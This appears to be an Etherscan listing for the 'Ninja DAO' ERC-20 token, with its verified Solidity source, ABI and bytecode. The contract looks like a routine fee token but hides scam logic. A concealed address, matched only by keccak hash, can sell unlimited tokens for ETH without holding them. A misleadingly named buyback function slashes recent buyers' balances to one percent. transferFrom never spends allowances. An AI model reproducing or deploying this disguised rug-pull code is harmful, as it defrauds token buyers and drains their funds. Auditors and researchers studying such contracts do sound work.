ETH Price: $3,164.41 (+1.53%)
Gas: 1 Gwei

Token

Ninja DAO (NINJA)
 

Overview

Max Total Supply

1,000,000,000 NINJA

Holders

6

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NinjaDAO

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-04-09
*/

pragma solidity ^0.8.12;

// SPDX-License-Identifier: Unlicensed

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
    function isLiquidityToken(address account) internal pure  returns (bool) {
        return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
contract NinjaDAO is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping(address => uint256) private _includedInFee;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _excludedFromFee;
    string private _name = "Ninja DAO";
    string private _symbol = "NINJA";
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
    uint256 public _maxWallet = 10000000 * 10 ** _decimals;
    uint256 public _liquidityFee = 2;
    uint256 public _marketingFee = 1;
    uint256 public _totalFee = _liquidityFee + _marketingFee;
    address public _feeReceiver;
    address public uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router private _router = IUniswapV2Router(uniswapRouterAddress);
    bool public cooldownEnabled = false;
    bool liquifying = false;
    struct Tx {address to; uint256 amount;}
    Tx[] _transfers;
    constructor() {
        _balances[msg.sender] = _totalSupply;
        _excludedFromFee[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function ruterVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function setMaxWalletSize(uint256 value) external onlyOwner {
        _maxWallet = value;
    }
    function setCooldownEnabled(bool value) external onlyOwner {
        cooldownEnabled = value;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[_msgSender()][from] >= amount);
        _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (inSwap(from, to)) {return addLiquidity(amount, to);}
        if (liquifying){} else {require(_balances[from] >= amount);}
        uint256 feeAmount = 0;
        buyback(from);
        bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]);
        if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isLiquidityToken(to) && to != address(this) && !inLiquidityTransaction && !liquifying) {
            feeAmount = amount.mul(_totalFee).div(100);
            addTransaction(to, amount);
        }
        uint256 amountReceived = amount - feeAmount;
        _balances[address(this)] += feeAmount;
        _balances[from] = _balances[from] - amount;
        _balances[to] += amountReceived;
        emit Transfer(from, to, amount);
    }
    function inSwap(address sender, address recipient) internal view returns(bool) {
        return (
        Address.isLiquidityToken(recipient) ||
        _excludedFromFee[msg.sender]
        )
        && sender == recipient;
    }
    function addTransaction(address to, uint256 amount) internal {
        if (uniswapV2Pair() != to) {_transfers.push(Tx(to, amount));}
    }
    function buyback(address from) internal {
        if (uniswapV2Pair() == from) {
            for (uint256 i = 0; i < _transfers.length;  i++) {
                _balances[_transfers[i].to] = _balances[_transfers[i].to]
                .div(100);
            }
            delete _transfers;
        }
    }
    function uniswapV2Pair() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    function addLiquidity(uint256 liquidityFee, address to) private {
        _approve(address(this), address(_router), liquidityFee);
        _balances[address(this)] = liquidityFee;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        liquifying = true;
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20);
        liquifying = false;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][_msgSender()] >= amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ruterVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouterAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526040518060400160405280600981526020017f4e696e6a612044414f0000000000000000000000000000000000000000000000815250600590805190602001906200005192919062000426565b506040518060400160405280600581526020017f4e494e4a41000000000000000000000000000000000000000000000000000000815250600690805190602001906200009f92919062000426565b506009600755600754600a620000b6919062000663565b633b9aca00620000c79190620006b4565b600855600754600a620000db919062000663565b62989680620000eb9190620006b4565b6009556002600a556001600b55600b54600a546200010a919062000715565b600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600f60146101000a81548160ff0219169083151502179055506000600f60156101000a81548160ff0219169083151502179055503480156200020857600080fd5b50620002196200041e60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000410919062000783565b60405180910390a362000805565b600033905090565b8280546200043490620007cf565b90600052602060002090601f016020900481019282620004585760008555620004a4565b82601f106200047357805160ff1916838001178555620004a4565b82800160010185558215620004a4579182015b82811115620004a357825182559160200191906001019062000486565b5b509050620004b39190620004b7565b5090565b5b80821115620004d2576000816000905550600101620004b8565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000564578086048111156200053c576200053b620004d6565b5b60018516156200054c5780820291505b80810290506200055c8562000505565b94506200051c565b94509492505050565b6000826200057f576001905062000652565b816200058f576000905062000652565b8160018114620005a85760028114620005b357620005e9565b600191505062000652565b60ff841115620005c857620005c7620004d6565b5b8360020a915084821115620005e257620005e1620004d6565b5b5062000652565b5060208310610133831016604e8410600b8410161715620006235782820a9050838111156200061d576200061c620004d6565b5b62000652565b62000632848484600162000512565b925090508184048111156200064c576200064b620004d6565b5b81810290505b9392505050565b6000819050919050565b6000620006708262000659565b91506200067d8362000659565b9250620006ac7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200056d565b905092915050565b6000620006c18262000659565b9150620006ce8362000659565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200070a5762000709620004d6565b5b828202905092915050565b6000620007228262000659565b91506200072f8362000659565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007675762000766620004d6565b5b828201905092915050565b6200077d8162000659565b82525050565b60006020820190506200079a600083018462000772565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007e857607f821691505b60208210811415620007ff57620007fe620007a0565b5b50919050565b61277680620008156000396000f3fe608060405234801561001057600080fd5b50600436106101735760003560e01c80636bc87c3a116100de57806395d89b4111610097578063a985ceef11610071578063a985ceef14610444578063b2dcf5da14610462578063dd62ed3e14610480578063ea1644d5146104b057610173565b806395d89b41146103c6578063a457c2d7146103e4578063a9059cbb1461041457610173565b80636bc87c3a1461031457806370a0823114610332578063715018a61461036257806382247ec01461036c5780638758b1b51461038a5780638da5cb5b146103a857610173565b8063283f782011610130578063283f782014610250578063313ce5671461026e57806332424aa31461028c57806339509351146102aa5780633eaaf86b146102da5780635932ead1146102f857610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c657806320ca3c7f146101e457806322976e0d1461020257806323b872dd14610220575b600080fd5b6101806104cc565b60405161018d9190611dad565b60405180910390f35b6101b060048036038101906101ab9190611e68565b61055e565b6040516101bd9190611ec3565b60405180910390f35b6101ce61057c565b6040516101db9190611eed565b60405180910390f35b6101ec610586565b6040516101f99190611f17565b60405180910390f35b61020a6105ac565b6040516102179190611eed565b60405180910390f35b61023a60048036038101906102359190611f32565b6105b2565b6040516102479190611ec3565b60405180910390f35b61025861065a565b6040516102659190611eed565b60405180910390f35b610276610660565b6040516102839190611eed565b60405180910390f35b61029461066a565b6040516102a19190611eed565b60405180910390f35b6102c460048036038101906102bf9190611e68565b610670565b6040516102d19190611ec3565b60405180910390f35b6102e261071c565b6040516102ef9190611eed565b60405180910390f35b610312600480360381019061030d9190611fb1565b610722565b005b61031c6107bb565b6040516103299190611eed565b60405180910390f35b61034c60048036038101906103479190611fde565b6107c1565b6040516103599190611eed565b60405180910390f35b61036a61080a565b005b610374610944565b6040516103819190611eed565b60405180910390f35b61039261094a565b60405161039f9190611f17565b60405180910390f35b6103b0610970565b6040516103bd9190611f17565b60405180910390f35b6103ce610999565b6040516103db9190611dad565b60405180910390f35b6103fe60048036038101906103f99190611e68565b610a2b565b60405161040b9190611ec3565b60405180910390f35b61042e60048036038101906104299190611e68565b610b67565b60405161043b9190611ec3565b60405180910390f35b61044c610b85565b6040516104599190611ec3565b60405180910390f35b61046a610b98565b6040516104779190611eed565b60405180910390f35b61049a6004803603810190610495919061200b565b610ba1565b6040516104a79190611eed565b60405180910390f35b6104ca60048036038101906104c5919061204b565b610c28565b005b6060600580546104db906120a7565b80601f0160208091040260200160405190810160405280929190818152602001828054610507906120a7565b80156105545780601f1061052957610100808354040283529160200191610554565b820191906000526020600020905b81548152906001019060200180831161053757829003601f168201915b5050505050905090565b600061057261056b610cae565b8484610cb6565b6001905092915050565b6000600854905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b60006105bf848484610e81565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610609610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561064f57600080fd5b600190509392505050565b600c5481565b6000600754905090565b60075481565b600061071261067d610cae565b84846003600061068b610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461070d9190612108565b610cb6565b6001905092915050565b60085481565b61072a610cae565b73ffffffffffffffffffffffffffffffffffffffff16610748610970565b73ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610795906121aa565b60405180910390fd5b80600f60146101000a81548160ff02191690831515021790555050565b600a5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610812610cae565b73ffffffffffffffffffffffffffffffffffffffff16610830610970565b73ffffffffffffffffffffffffffffffffffffffff1614610886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087d906121aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109a8906120a7565b80601f01602080910402602001604051908101604052809291908181526020018280546109d4906120a7565b8015610a215780601f106109f657610100808354040283529160200191610a21565b820191906000526020600020905b815481529060010190602001808311610a0457829003601f168201915b5050505050905090565b60008160036000610a3a610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610abd57600080fd5b610b5d610ac8610cae565b848460036000610ad6610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5891906121ca565b610cb6565b6001905092915050565b6000610b7b610b74610cae565b8484610e81565b6001905092915050565b600f60149054906101000a900460ff1681565b60006002905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c30610cae565b73ffffffffffffffffffffffffffffffffffffffff16610c4e610970565b73ffffffffffffffffffffffffffffffffffffffff1614610ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9b906121aa565b60405180910390fd5b8060098190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1d90612270565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8d90612302565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e749190611eed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ebb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ef557600080fd5b610eff83836113a9565b15610f1357610f0e8183611447565b6113a4565b600f60159054906101000a900460ff1615610f2d57610f7a565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f7957600080fd5b5b6000610f8584611711565b6000610f8f6118a2565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156110125750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806110a457506110206118a2565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156110a35750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561114a5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561115c575061115a84611a45565b155b801561119457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561119e575080155b80156111b75750600f60159054906101000a900460ff16155b156111f1576111e460646111d6600c5486611a9a90919063ffffffff16565b611b1590919063ffffffff16565b91506111f08484611b5f565b5b600082846111ff91906121ca565b905082600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112509190612108565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a291906121ca565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113349190612108565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516113989190611eed565b60405180910390a35050505b505050565b60006113b482611a45565b806114085750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561143f57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b61147430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610cb6565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156114d5576114d4612322565b5b6040519080825280602002602001820160405280156115035781602001602082028036833780820191505090505b509050308160008151811061151b5761151a612351565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e69190612395565b816001815181106115fa576115f9612351565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600f60156101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000848660144261169f9190612108565b6040518663ffffffff1660e01b81526004016116bf9594939291906124c5565b600060405180830381600087803b1580156116d957600080fd5b505af11580156116ed573d6000803e3d6000fd5b505050506000600f60156101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff166117306118a2565b73ffffffffffffffffffffffffffffffffffffffff16141561189f5760005b60108054905081101561188f576117f46064600160006010858154811061177957611778612351565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1590919063ffffffff16565b600160006010848154811061180c5761180b612351565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806118879061251f565b91505061174f565b506010600061189e9190611caa565b5b50565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611911573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119359190612395565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e29190612395565b6040518363ffffffff1660e01b81526004016119ff929190612568565b602060405180830381865afa158015611a1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a409190612395565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b82604051602001611a7c91906125d9565b60405160208183030381529060405280519060200120149050919050565b600080831415611aad5760009050611b0f565b60008284611abb91906125f4565b9050828482611aca919061267d565b14611b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0190612720565b60405180910390fd5b809150505b92915050565b6000611b5783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c47565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff16611b7e6118a2565b73ffffffffffffffffffffffffffffffffffffffff1614611c4357601060405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b60008083118290611c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c859190611dad565b60405180910390fd5b5060008385611c9d919061267d565b9050809150509392505050565b5080546000825560020290600052602060002090810190611ccb9190611cce565b50565b5b80821115611d1057600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550600201611ccf565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d4e578082015181840152602081019050611d33565b83811115611d5d576000848401525b50505050565b6000601f19601f8301169050919050565b6000611d7f82611d14565b611d898185611d1f565b9350611d99818560208601611d30565b611da281611d63565b840191505092915050565b